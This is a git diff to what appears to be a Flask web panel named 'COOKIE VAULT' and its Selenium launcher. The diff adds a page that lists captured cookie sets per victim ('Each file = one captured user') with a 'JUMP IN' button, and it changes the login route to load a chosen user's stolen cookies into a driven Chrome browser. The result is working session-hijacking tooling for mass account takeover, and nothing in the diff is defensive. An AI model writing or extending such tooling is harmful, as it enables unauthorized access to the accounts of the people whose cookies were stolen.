diff --git a/app.py b/app.py
index 701768a..f7bbd54 100644
--- a/app.py
+++ b/app.py
@@ -178,7 +178,7 @@ HOME_PAGE = STYLE + r"""
CO
{{d[0]}} |
{{d[1]}} |
{{utc(d[2]) if d[2] else 'session'}} |
- LOGIN → |
+ LOGIN → |
{% endfor %}
@@ -375,20 +375,58 @@ def _smart_scan(root):
# ---------------- LOGIN (session-1 bridge) ----------------
-@app.route("/open")
-def open_login():
+@app.route("/sessions")
+def sessions():
domain = request.args.get("domain", "").strip()
if not domain:
return redirect(url_for("index"))
stem = domain.strip(".")
- like = stem + "%"
c = db()
- rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
- WHERE domain LIKE ? OR domain LIKE ? ORDER BY (domain = ?) DESC LIMIT 4000""",
- (like, "%" + stem, domain)).fetchall()
+ sess = c.execute("""SELECT source_file, COUNT(*) as n,
+ MAX(CASE WHEN expiry GLOB '[0-9]*' AND CAST(expiry AS INTEGER) > strftime('%s','now') THEN 1 ELSE 0 END) as has_fresh
+ FROM cookies WHERE domain LIKE ? GROUP BY source_file ORDER BY n DESC LIMIT 300""",
+ ("%" + stem + "%",)).fetchall()
+ total = c.execute("SELECT COUNT(*) FROM cookies WHERE domain LIKE ?", ("%" + stem + "%",)).fetchone()[0]
+ c.close()
+ return render_template_string(SESSIONS_PAGE, domain=domain, sess=sess, total=total)
+
+SESSIONS_PAGE = STYLE + r"""Sessions — COOKIE VAULT
+
+
+{{sess|length}} user sessions (source files) hold {{total}} cookies for this domain. Each file = one captured user. Click JUMP to log in as that user.
+
+| session (source file) | cookies | alive | |
+{% for s in sess %}
+
+ | {{s[0]}} |
+ {{s[1]}} |
+ {{'✓ fresh' if s[2] else 'expired?'}} |
+ JUMP IN → |
+
+{% endfor %}
+
+"""
+
+@app.route("/open")
+def open_login():
+ domain = request.args.get("domain", "").strip()
+ srcfile = request.args.get("file", "").strip()
+ if not domain:
+ return redirect(url_for("index"))
+ stem = domain.strip(".")
+ c = db()
+ if srcfile:
+ rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
+ WHERE domain LIKE ? AND source_file = ? LIMIT 4000""",
+ ( "%" + stem + "%", srcfile)).fetchall()
+ else:
+ rows = c.execute("""SELECT domain, name, value, path, expiry, secure FROM cookies
+ WHERE domain LIKE ? OR domain LIKE ? ORDER BY (domain = ?) DESC LIMIT 4000""",
+ ( "%" + stem + "%", "%" + stem, domain)).fetchall()
c.close()
if not rows:
- return redirect(url_for("index", msg=f"no cookies for {domain}"))
+ return redirect(url_for("index", msg=f"no cookies for {domain}" + (f" from {srcfile}" if srcfile else "")))
payload = {"domain": domain, "cookies": [
{"domain": r[0], "name": r[1], "value": r[2], "path": r[3],
"expiry": _safe_expiry(r[4]), "secure": str(r[5]).upper() == "TRUE"} for r in rows]}
diff --git a/launcher_bridge.py b/launcher_bridge.py
index 6df3252..2fd24a9 100644
--- a/launcher_bridge.py
+++ b/launcher_bridge.py
@@ -59,7 +59,9 @@ def launch(domain, cookies, tok):
opts.add_argument("--start-maximized")
opts.add_argument("--window-size=1440,900")
opts.add_argument("--disable-gpu")
- driver = webdriver.Chrome(options=opts)
+ from selenium.webdriver.chrome.service import Service
+ svc = Service(executable_path=os.path.join(SESSION_DIR, "..", "chromedriver.exe"))
+ driver = webdriver.Chrome(service=svc, options=opts)
try:
SCREENSHOTS[tok] = _png(driver, "starting")
host = domain.lstrip(".")